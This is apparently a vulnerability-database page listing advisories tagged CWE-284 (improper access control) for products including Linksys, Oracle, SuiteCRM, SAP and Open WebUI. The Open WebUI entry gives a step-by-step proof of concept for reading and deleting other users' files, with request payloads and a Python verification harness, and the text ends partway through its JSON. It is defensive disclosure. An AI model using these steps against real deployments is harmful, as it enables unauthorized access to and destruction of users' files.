CWE-284
DiscouragedImproper Access Control
Abstraction: Pillar · Status: Incomplete
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
7801 vulnerabilities reference this CWE, most recent first.
GHSA-VQW3-3GM8-35VM
Vulnerability from github – Published: 2024-03-01 15:31 – Updated: 2024-08-16 18:30Linksys E2000 Ver.1.0.06 build 1 is vulnerable to authentication bypass via the position.js file.
{
"affected": [],
"aliases": [
"CVE-2024-27497"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-01T15:15:08Z",
"severity": "HIGH"
},
"details": "Linksys E2000 Ver.1.0.06 build 1 is vulnerable to authentication bypass via the position.js file.",
"id": "GHSA-vqw3-3gm8-35vm",
"modified": "2024-08-16T18:30:56Z",
"published": "2024-03-01T15:31:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27497"
},
{
"type": "WEB",
"url": "https://warp-desk-89d.notion.site/Linksys-E-2000-efcd532d8dcf4710a4af13fca131a5b8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VQW4-QW3X-53P9
Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-17 18:35Vulnerability in the WebLogic Server product of Oracle Fusion Middleware (component: Console). Supported versions that are affected are 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where WebLogic Server executes to compromise WebLogic Server. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in WebLogic Server, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all WebLogic Server accessible data as well as unauthorized access to critical data or complete access to all WebLogic Server accessible data. CVSS 3.1 Base Score 7.9 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).
{
"affected": [],
"aliases": [
"CVE-2026-46848"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-17T10:54:02Z",
"severity": "HIGH"
},
"details": "Vulnerability in the WebLogic Server product of Oracle Fusion Middleware (component: Console). Supported versions that are affected are 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where WebLogic Server executes to compromise WebLogic Server. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in WebLogic Server, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all WebLogic Server accessible data as well as unauthorized access to critical data or complete access to all WebLogic Server accessible data. CVSS 3.1 Base Score 7.9 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).",
"id": "GHSA-vqw4-qw3x-53p9",
"modified": "2026-06-17T18:35:31Z",
"published": "2026-06-17T18:35:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46848"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cspujun2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VR46-GPJ9-36WG
Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-17 18:35Vulnerability in the MySQL Router product of Oracle MySQL (component: Router: General). Supported versions that are affected are 9.0.0-9.7.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise MySQL Router. Successful attacks of this vulnerability can result in takeover of MySQL Router. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-46860"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-17T10:54:03Z",
"severity": "CRITICAL"
},
"details": "Vulnerability in the MySQL Router product of Oracle MySQL (component: Router: General). Supported versions that are affected are 9.0.0-9.7.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise MySQL Router. Successful attacks of this vulnerability can result in takeover of MySQL Router. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).",
"id": "GHSA-vr46-gpj9-36wg",
"modified": "2026-06-17T18:35:32Z",
"published": "2026-06-17T18:35:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46860"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cspujun2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VR9R-V9GJ-9422
Vulnerability from github – Published: 2023-10-03 15:30 – Updated: 2023-10-03 15:30Improper Access Control in GitHub repository salesagility/suitecrm prior to 7.14.1.
{
"affected": [],
"aliases": [
"CVE-2023-5353"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-03T13:15:11Z",
"severity": "HIGH"
},
"details": "Improper Access Control in GitHub repository salesagility/suitecrm prior to 7.14.1.",
"id": "GHSA-vr9r-v9gj-9422",
"modified": "2023-10-03T15:30:34Z",
"published": "2023-10-03T15:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5353"
},
{
"type": "WEB",
"url": "https://github.com/salesagility/suitecrm/commit/c43eaa311fb010b7928983e6afc6f9075c3996aa"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/3b3bb4f1-1aea-4134-99eb-157f245fa752"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VRCG-WFMF-62MJ
Vulnerability from github – Published: 2023-09-06 06:30 – Updated: 2024-04-04 07:30PendingIntent hijacking in LmsAssemblyTrackerCTC prior to SMR Sep-2023 Release 1 allows local attacker to gain arbitrary file access.
{
"affected": [],
"aliases": [
"CVE-2023-30720"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-06T04:15:15Z",
"severity": "MODERATE"
},
"details": "PendingIntent hijacking in LmsAssemblyTrackerCTC prior to SMR Sep-2023 Release 1 allows local attacker to gain arbitrary file access.",
"id": "GHSA-vrcg-wfmf-62mj",
"modified": "2024-04-04T07:30:56Z",
"published": "2023-09-06T06:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30720"
},
{
"type": "WEB",
"url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2023\u0026month=09"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VRCM-R83P-FHMH
Vulnerability from github – Published: 2022-05-17 03:41 – Updated: 2022-05-17 03:41The DSA algorithm implementation in SAP SAPCRYPTOLIB 5.555.38 does not properly check signatures, which allows remote authenticated users to impersonate arbitrary users via unspecified vectors, aka SAP Security Note 2223008.
{
"affected": [],
"aliases": [
"CVE-2016-4407"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-10-13T14:59:00Z",
"severity": "MODERATE"
},
"details": "The DSA algorithm implementation in SAP SAPCRYPTOLIB 5.555.38 does not properly check signatures, which allows remote authenticated users to impersonate arbitrary users via unspecified vectors, aka SAP Security Note 2223008.",
"id": "GHSA-vrcm-r83p-fhmh",
"modified": "2022-05-17T03:41:25Z",
"published": "2022-05-17T03:41:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-4407"
},
{
"type": "WEB",
"url": "https://www.onapsis.com/research/security-advisories/sap-missing-signature-check-dsa-algorithm"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2016/Oct/32"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/93502"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VRCP-4QRQ-4VF6
Vulnerability from github – Published: 2022-05-17 02:35 – Updated: 2022-05-17 02:35In all Android releases from CAF using the Linux kernel, access control to SMEM memory was not enabled.
{
"affected": [],
"aliases": [
"CVE-2015-9021"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-06-13T20:29:00Z",
"severity": "MODERATE"
},
"details": "In all Android releases from CAF using the Linux kernel, access control to SMEM memory was not enabled.",
"id": "GHSA-vrcp-4qrq-4vf6",
"modified": "2022-05-17T02:35:20Z",
"published": "2022-05-17T02:35:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-9021"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2017-06-01"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/98874"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1038623"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VRFC-P4P2-V8R2
Vulnerability from github – Published: 2026-02-24 18:31 – Updated: 2026-02-25 18:31Privilege escalation and improper access control in GCOM EPON 1GE C00R371V00B01 allows remote authenticated users to modify administrator only settings and extract administrator credentials.
{
"affected": [],
"aliases": [
"CVE-2025-63409"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-24T16:24:06Z",
"severity": "HIGH"
},
"details": "Privilege escalation and improper access control in GCOM EPON 1GE C00R371V00B01 allows remote authenticated users to modify administrator only settings and extract administrator credentials.",
"id": "GHSA-vrfc-p4p2-v8r2",
"modified": "2026-02-25T18:31:35Z",
"published": "2026-02-24T18:31:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-63409"
},
{
"type": "WEB",
"url": "https://github.com/theShinigami/CVE-Disclosures/tree/main/CVE-2025-63409"
},
{
"type": "WEB",
"url": "http://gcom.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VRHC-3FR6-PC3C
Vulnerability from github – Published: 2026-06-17 14:12 – Updated: 2026-06-17 14:12Summary
Open WebUI v0.9.5 lets an authenticated user attach arbitrary file_id values to their own chat message without checking whether they own or can read those files. If the attacker then shares that chat and grants themselves read access, has_access_to_file() treats the victim file as accessible through the shared chat, and the file endpoints read or delete the victim file.
Impact
Security boundary crossed: file confidentiality and integrity.
An authenticated attacker who knows or obtains a victim file_id can make Open WebUI authorize, through an attacker-owned shared chat:
- reading the victim file via
GET /api/v1/files/{id}/content, and - deleting the victim file via
DELETE /api/v1/files/{id}.
Root Cause
Client-controlled message file IDs are persisted without file authorization checks:
# backend/open_webui/main.py
await Chats.insert_chat_files(
chat_id,
user_message.get('id'),
[
file_item.get('id')
for file_item in user_message_files
if file_item.get('type') == 'file'
],
user.id,
)
insert_chat_files() stores the provided IDs directly:
# backend/open_webui/models/chats.py
ChatFileModel(
user_id=user_id,
chat_id=chat_id,
message_id=message_id,
file_id=file_id,
)
Later, file authorization trusts shared-chat associations:
# backend/open_webui/utils/access_control/files.py
shared_chat_ids = await Chats.get_shared_chat_ids_by_file_id(file_id, db=db)
if shared_chat_ids:
accessible_ids = await AccessGrants.get_accessible_resource_ids(
user_id=user.id,
resource_type='shared_chat',
resource_ids=shared_chat_ids,
permission='read',
)
if accessible_ids:
return True
The download endpoint uses this helper:
# backend/open_webui/routers/files.py
if file.user_id == user.id or user.role == 'admin' or await has_access_to_file(id, 'read', user, db=db):
return FileResponse(file_path, ...)
On affected versions this shared-chat branch is not gated on access_type (the grant lookup hardcodes permission='read', but nothing checks that the request itself is a read). The same forged association therefore also satisfies the write check that DELETE /api/v1/files/{id} performs, so the attacker can delete the victim file, not only read it.
Because the shared-chat branch ignores access_type, the deletion does not require the forged association at all. A user granted only read access to a chat that the owner legitimately shared can delete the owner's own files attached to that chat via DELETE /api/v1/files/{id}, since the read grant satisfies the write check. The forged association (above) broadens this to any victim file_id; a legitimate read-only share reaches it without any forgery.
PoC
- Attacker creates or uses a chat they own.
- Attacker sends
POST /api/chat/completionsorPOST /api/v1/chat/completionswhere top-leveluser_message.filescontains:
[
{
"type": "file",
"id": "VICTIM_FILE_ID"
}
]
- Backend inserts a
chat_filerow linking the attacker chat toVICTIM_FILE_ID. - Attacker shares the chat and grants read access to themselves or public access.
- Attacker requests:
GET /api/v1/files/VICTIM_FILE_ID/content
Expected: 404/403 because the attacker does not own or otherwise have access to the victim file.
Actual: file authorization succeeds through the attacker-controlled shared-chat association.
Local Verification
I verified the bug locally with Open WebUI's real Chats.insert_chat_files() and real has_access_to_file() implementations. The harness uses fake DB adapters only to avoid this environment's async SQLite hang; the security-sensitive logic under test is the application code.
Result:
{
"before_chat_file_link_attacker_can_read": false,
"insert_sink": {
"db_commit_called": true,
"insert_returned_rows": true,
"stored_chat_ids": [
"attacker-chat"
],
"stored_file_ids": [
"victim-file"
],
"stored_user_ids": [
"attacker"
]
},
"after_attacker_shared_chat_links_victim_file_attacker_can_read": true,
"confirmed": true
}
PoC:
#!/usr/bin/env python3
"""
Verifier for chat-file link authorization bypass.
This intentionally avoids the app DB because the local Python 3.13 async SQLite
stack hangs in this checkout. It still executes Open WebUI's real
has_access_to_file() implementation, with fake model adapters standing in for
the DB tables.
"""
from __future__ import annotations
import asyncio
import json
import os
import sys
import types
from pathlib import Path
from types import SimpleNamespace
def prepare_imports() -> None:
repo_root = Path(__file__).resolve().parents[1]
sys.path.insert(0, str(repo_root / "backend"))
os.environ["VECTOR_DB"] = "none"
class DummyTyper:
def command(self, *args, **kwargs):
return lambda fn: fn
sys.modules.setdefault(
"typer",
types.SimpleNamespace(
Typer=lambda *args, **kwargs: DummyTyper(),
Option=lambda *args, **kwargs: None,
echo=lambda *args, **kwargs: None,
Exit=Exception,
),
)
sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None))
class FakeFiles:
async def get_file_by_id(self, file_id, db=None):
if file_id == "victim-file":
return SimpleNamespace(
id="victim-file",
user_id="victim",
meta={},
)
return None
class FakeKnowledges:
async def get_knowledges_by_file_id(self, file_id, db=None):
return []
class FakeGroups:
async def get_groups_by_member_id(self, user_id, db=None):
return []
class FakeChannels:
async def get_channels_by_file_id_and_user_id(self, file_id, user_id, db=None):
return []
class FakeModels:
async def get_models_by_user_id(self, user_id, permission="read", db=None):
return []
class FakeChats:
def __init__(self, linked: bool):
self.linked = linked
async def get_shared_chat_ids_by_file_id(self, file_id, db=None):
if self.linked and file_id == "victim-file":
# This mirrors a chat_file row tying victim-file to the attacker's
# shared chat. The real insertion sink is Chats.insert_chat_files().
return ["attacker-chat"]
return []
class FakeAccessGrants:
def __init__(self, granted: bool):
self.granted = granted
async def has_access(self, *args, **kwargs):
return False
async def get_accessible_resource_ids(
self,
user_id,
resource_type,
resource_ids,
permission="read",
user_group_ids=None,
db=None,
):
if (
self.granted
and user_id == "attacker"
and resource_type == "shared_chat"
and "attacker-chat" in resource_ids
and permission == "read"
):
return {"attacker-chat"}
return set()
class FakeDb:
def __init__(self):
self.added = []
self.committed = False
def add_all(self, rows):
self.added.extend(rows)
async def commit(self):
self.committed = True
class FakeDbContext:
def __init__(self, db):
self.db = db
async def __aenter__(self):
return self.db
async def __aexit__(self, exc_type, exc, tb):
return False
async def verify_insert_sink_accepts_victim_file_id():
import open_webui.models.chats as chats_module
fake_db = FakeDb()
chats_table = chats_module.Chats
original_context = chats_module.get_async_db_context
original_existing = chats_table.get_chat_files_by_chat_id_and_message_id
async def fake_existing(self, chat_id, message_id, db=None):
return []
try:
chats_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)
chats_table.get_chat_files_by_chat_id_and_message_id = types.MethodType(fake_existing, chats_table)
inserted = await chats_table.insert_chat_files(
chat_id="attacker-chat",
message_id="attacker-message",
file_ids=["victim-file"],
user_id="attacker",
)
finally:
chats_module.get_async_db_context = original_context
chats_table.get_chat_files_by_chat_id_and_message_id = original_existing
return {
"insert_returned_rows": bool(inserted),
"db_commit_called": fake_db.committed,
"stored_file_ids": [getattr(row, "file_id", None) for row in fake_db.added],
"stored_chat_ids": [getattr(row, "chat_id", None) for row in fake_db.added],
"stored_user_ids": [getattr(row, "user_id", None) for row in fake_db.added],
}
async def main() -> None:
prepare_imports()
import open_webui.utils.access_control.files as file_acl
attacker = SimpleNamespace(id="attacker", role="user")
original = {
"Files": file_acl.Files,
"Knowledges": file_acl.Knowledges,
"Groups": file_acl.Groups,
"Channels": file_acl.Channels,
"Chats": file_acl.Chats,
"Models": file_acl.Models,
"AccessGrants": file_acl.AccessGrants,
}
try:
file_acl.Files = FakeFiles()
file_acl.Knowledges = FakeKnowledges()
file_acl.Groups = FakeGroups()
file_acl.Channels = FakeChannels()
file_acl.Models = FakeModels()
file_acl.Chats = FakeChats(linked=False)
file_acl.AccessGrants = FakeAccessGrants(granted=False)
before = await file_acl.has_access_to_file("victim-file", "read", attacker)
file_acl.Chats = FakeChats(linked=True)
file_acl.AccessGrants = FakeAccessGrants(granted=True)
after = await file_acl.has_access_to_file("victim-file", "read", attacker)
insert_sink = await verify_insert_sink_accepts_victim_file_id()
result = {
"victim_file_id": "victim-file",
"victim_file_owner": "victim",
"attacker_id": "attacker",
"attacker_owns_file": False,
"insert_sink": insert_sink,
"before_chat_file_link_attacker_can_read": before,
"after_attacker_shared_chat_links_victim_file_attacker_can_read": after,
"confirmed": (
before is False
and after is True
and insert_sink["insert_returned_rows"] is True
and insert_sink["stored_file_ids"] == ["victim-file"]
and insert_sink["stored_user_ids"] == ["attacker"]
),
"sink": "Chats.insert_chat_files() accepts caller-supplied file_ids without checking file ownership/read access",
}
print(json.dumps(result, indent=2, sort_keys=True))
finally:
for name, value in original.items():
setattr(file_acl, name, value)
if __name__ == "__main__":
asyncio.run(main())
Recommended Fix
Before calling Chats.insert_chat_files(), filter user_message.files to files the caller owns or can read:
allowed_file_ids = []
for file_id in requested_file_ids:
file = await Files.get_file_by_id(file_id)
if file and (file.user_id == user.id or user.role == 'admin' or await has_access_to_file(file_id, 'read', user)):
allowed_file_ids.append(file_id)
Also consider enforcing this inside Chats.insert_chat_files() so future call sites cannot create unauthorized chat_file associations.
Additionally, the shared-chat branch of has_access_to_file() should honour access_type, so a read grant cannot satisfy the write check used by file deletion.
Consolidation
Per Open WebUI's Report Handling policy this consolidates independent reports of the same chat-file authorization flaws into one advisory and CVE:
- Cross-user file READ via a forged
chat_fileassociation (GET /api/v1/files/{id}/content): @0xEr3n. Fixed by #25054, which gatesChats.insert_chat_files()so a caller can only link files they own or can read. - Cross-user file DELETION via the shared-chat branch ignoring
access_type(DELETE /api/v1/files/{id}): reported independently by @oxsignal (earliest filing; reached via a legitimately read-only-shared chat, no forged association needed), by @0xEr3n (via the forged association), and by @5yu4n. Fixed by #24755, which makes the shared-chat branch honouraccess_type.
Affected: <= 0.9.5. Patched: >= 0.9.6. One CVE for the consolidated advisory.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.9.5"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54010"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-639",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-17T14:12:20Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nOpen WebUI `v0.9.5` lets an authenticated user attach arbitrary `file_id` values to their own chat message without checking whether they own or can read those files. If the attacker then shares that chat and grants themselves read access, `has_access_to_file()` treats the victim file as accessible through the shared chat, and the file endpoints read or delete the victim file.\n\n## Impact\n\nSecurity boundary crossed: file confidentiality and integrity.\n\nAn authenticated attacker who knows or obtains a victim `file_id` can make Open WebUI authorize, through an attacker-owned shared chat:\n\n- reading the victim file via `GET /api/v1/files/{id}/content`, and\n- deleting the victim file via `DELETE /api/v1/files/{id}`.\n\n## Root Cause\n\nClient-controlled message file IDs are persisted without file authorization checks:\n\n```python\n# backend/open_webui/main.py\nawait Chats.insert_chat_files(\n chat_id,\n user_message.get(\u0027id\u0027),\n [\n file_item.get(\u0027id\u0027)\n for file_item in user_message_files\n if file_item.get(\u0027type\u0027) == \u0027file\u0027\n ],\n user.id,\n)\n```\n\n`insert_chat_files()` stores the provided IDs directly:\n\n```python\n# backend/open_webui/models/chats.py\nChatFileModel(\n user_id=user_id,\n chat_id=chat_id,\n message_id=message_id,\n file_id=file_id,\n)\n```\n\nLater, file authorization trusts shared-chat associations:\n\n```python\n# backend/open_webui/utils/access_control/files.py\nshared_chat_ids = await Chats.get_shared_chat_ids_by_file_id(file_id, db=db)\nif shared_chat_ids:\n accessible_ids = await AccessGrants.get_accessible_resource_ids(\n user_id=user.id,\n resource_type=\u0027shared_chat\u0027,\n resource_ids=shared_chat_ids,\n permission=\u0027read\u0027,\n )\n if accessible_ids:\n return True\n```\n\nThe download endpoint uses this helper:\n\n```python\n# backend/open_webui/routers/files.py\nif file.user_id == user.id or user.role == \u0027admin\u0027 or await has_access_to_file(id, \u0027read\u0027, user, db=db):\n return FileResponse(file_path, ...)\n```\n\nOn affected versions this shared-chat branch is not gated on `access_type` (the grant lookup hardcodes `permission=\u0027read\u0027`, but nothing checks that the request itself is a read). The same forged association therefore also satisfies the `write` check that `DELETE /api/v1/files/{id}` performs, so the attacker can delete the victim file, not only read it.\n\nBecause the shared-chat branch ignores `access_type`, the deletion does not require the forged association at all. A user granted only **read** access to a chat that the owner legitimately shared can delete the owner\u0027s own files attached to that chat via `DELETE /api/v1/files/{id}`, since the read grant satisfies the `write` check. The forged association (above) broadens this to any victim `file_id`; a legitimate read-only share reaches it without any forgery.\n\n## PoC\n\n1. Attacker creates or uses a chat they own.\n2. Attacker sends `POST /api/chat/completions` or `POST /api/v1/chat/completions` where top-level `user_message.files` contains:\n\n```json\n[\n {\n \"type\": \"file\",\n \"id\": \"VICTIM_FILE_ID\"\n }\n]\n```\n\n3. Backend inserts a `chat_file` row linking the attacker chat to `VICTIM_FILE_ID`.\n4. Attacker shares the chat and grants read access to themselves or public access.\n5. Attacker requests:\n\n```text\nGET /api/v1/files/VICTIM_FILE_ID/content\n```\n\nExpected: 404/403 because the attacker does not own or otherwise have access to the victim file.\n\nActual: file authorization succeeds through the attacker-controlled shared-chat association.\n\n## Local Verification\n\nI verified the bug locally with Open WebUI\u0027s real `Chats.insert_chat_files()` and real `has_access_to_file()` implementations. The harness uses fake DB adapters only to avoid this environment\u0027s async SQLite hang; the security-sensitive logic under test is the application code.\n\nResult:\n\n```json\n{\n \"before_chat_file_link_attacker_can_read\": false,\n \"insert_sink\": {\n \"db_commit_called\": true,\n \"insert_returned_rows\": true,\n \"stored_chat_ids\": [\n \"attacker-chat\"\n ],\n \"stored_file_ids\": [\n \"victim-file\"\n ],\n \"stored_user_ids\": [\n \"attacker\"\n ]\n },\n \"after_attacker_shared_chat_links_victim_file_attacker_can_read\": true,\n \"confirmed\": true\n}\n```\n\nPoC:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVerifier for chat-file link authorization bypass.\n\nThis intentionally avoids the app DB because the local Python 3.13 async SQLite\nstack hangs in this checkout. It still executes Open WebUI\u0027s real\nhas_access_to_file() implementation, with fake model adapters standing in for\nthe DB tables.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport json\nimport os\nimport sys\nimport types\nfrom pathlib import Path\nfrom types import SimpleNamespace\n\n\ndef prepare_imports() -\u003e None:\n repo_root = Path(__file__).resolve().parents[1]\n sys.path.insert(0, str(repo_root / \"backend\"))\n os.environ[\"VECTOR_DB\"] = \"none\"\n\n class DummyTyper:\n def command(self, *args, **kwargs):\n return lambda fn: fn\n\n sys.modules.setdefault(\n \"typer\",\n types.SimpleNamespace(\n Typer=lambda *args, **kwargs: DummyTyper(),\n Option=lambda *args, **kwargs: None,\n echo=lambda *args, **kwargs: None,\n Exit=Exception,\n ),\n )\n sys.modules.setdefault(\"uvicorn\", types.SimpleNamespace(run=lambda *args, **kwargs: None))\n\n\nclass FakeFiles:\n async def get_file_by_id(self, file_id, db=None):\n if file_id == \"victim-file\":\n return SimpleNamespace(\n id=\"victim-file\",\n user_id=\"victim\",\n meta={},\n )\n return None\n\n\nclass FakeKnowledges:\n async def get_knowledges_by_file_id(self, file_id, db=None):\n return []\n\n\nclass FakeGroups:\n async def get_groups_by_member_id(self, user_id, db=None):\n return []\n\n\nclass FakeChannels:\n async def get_channels_by_file_id_and_user_id(self, file_id, user_id, db=None):\n return []\n\n\nclass FakeModels:\n async def get_models_by_user_id(self, user_id, permission=\"read\", db=None):\n return []\n\n\nclass FakeChats:\n def __init__(self, linked: bool):\n self.linked = linked\n\n async def get_shared_chat_ids_by_file_id(self, file_id, db=None):\n if self.linked and file_id == \"victim-file\":\n # This mirrors a chat_file row tying victim-file to the attacker\u0027s\n # shared chat. The real insertion sink is Chats.insert_chat_files().\n return [\"attacker-chat\"]\n return []\n\n\nclass FakeAccessGrants:\n def __init__(self, granted: bool):\n self.granted = granted\n\n async def has_access(self, *args, **kwargs):\n return False\n\n async def get_accessible_resource_ids(\n self,\n user_id,\n resource_type,\n resource_ids,\n permission=\"read\",\n user_group_ids=None,\n db=None,\n ):\n if (\n self.granted\n and user_id == \"attacker\"\n and resource_type == \"shared_chat\"\n and \"attacker-chat\" in resource_ids\n and permission == \"read\"\n ):\n return {\"attacker-chat\"}\n return set()\n\n\nclass FakeDb:\n def __init__(self):\n self.added = []\n self.committed = False\n\n def add_all(self, rows):\n self.added.extend(rows)\n\n async def commit(self):\n self.committed = True\n\n\nclass FakeDbContext:\n def __init__(self, db):\n self.db = db\n\n async def __aenter__(self):\n return self.db\n\n async def __aexit__(self, exc_type, exc, tb):\n return False\n\n\nasync def verify_insert_sink_accepts_victim_file_id():\n import open_webui.models.chats as chats_module\n\n fake_db = FakeDb()\n chats_table = chats_module.Chats\n\n original_context = chats_module.get_async_db_context\n original_existing = chats_table.get_chat_files_by_chat_id_and_message_id\n\n async def fake_existing(self, chat_id, message_id, db=None):\n return []\n\n try:\n chats_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)\n chats_table.get_chat_files_by_chat_id_and_message_id = types.MethodType(fake_existing, chats_table)\n\n inserted = await chats_table.insert_chat_files(\n chat_id=\"attacker-chat\",\n message_id=\"attacker-message\",\n file_ids=[\"victim-file\"],\n user_id=\"attacker\",\n )\n finally:\n chats_module.get_async_db_context = original_context\n chats_table.get_chat_files_by_chat_id_and_message_id = original_existing\n\n return {\n \"insert_returned_rows\": bool(inserted),\n \"db_commit_called\": fake_db.committed,\n \"stored_file_ids\": [getattr(row, \"file_id\", None) for row in fake_db.added],\n \"stored_chat_ids\": [getattr(row, \"chat_id\", None) for row in fake_db.added],\n \"stored_user_ids\": [getattr(row, \"user_id\", None) for row in fake_db.added],\n }\n\n\nasync def main() -\u003e None:\n prepare_imports()\n\n import open_webui.utils.access_control.files as file_acl\n\n attacker = SimpleNamespace(id=\"attacker\", role=\"user\")\n\n original = {\n \"Files\": file_acl.Files,\n \"Knowledges\": file_acl.Knowledges,\n \"Groups\": file_acl.Groups,\n \"Channels\": file_acl.Channels,\n \"Chats\": file_acl.Chats,\n \"Models\": file_acl.Models,\n \"AccessGrants\": file_acl.AccessGrants,\n }\n\n try:\n file_acl.Files = FakeFiles()\n file_acl.Knowledges = FakeKnowledges()\n file_acl.Groups = FakeGroups()\n file_acl.Channels = FakeChannels()\n file_acl.Models = FakeModels()\n\n file_acl.Chats = FakeChats(linked=False)\n file_acl.AccessGrants = FakeAccessGrants(granted=False)\n before = await file_acl.has_access_to_file(\"victim-file\", \"read\", attacker)\n\n file_acl.Chats = FakeChats(linked=True)\n file_acl.AccessGrants = FakeAccessGrants(granted=True)\n after = await file_acl.has_access_to_file(\"victim-file\", \"read\", attacker)\n\n insert_sink = await verify_insert_sink_accepts_victim_file_id()\n\n result = {\n \"victim_file_id\": \"victim-file\",\n \"victim_file_owner\": \"victim\",\n \"attacker_id\": \"attacker\",\n \"attacker_owns_file\": False,\n \"insert_sink\": insert_sink,\n \"before_chat_file_link_attacker_can_read\": before,\n \"after_attacker_shared_chat_links_victim_file_attacker_can_read\": after,\n \"confirmed\": (\n before is False\n and after is True\n and 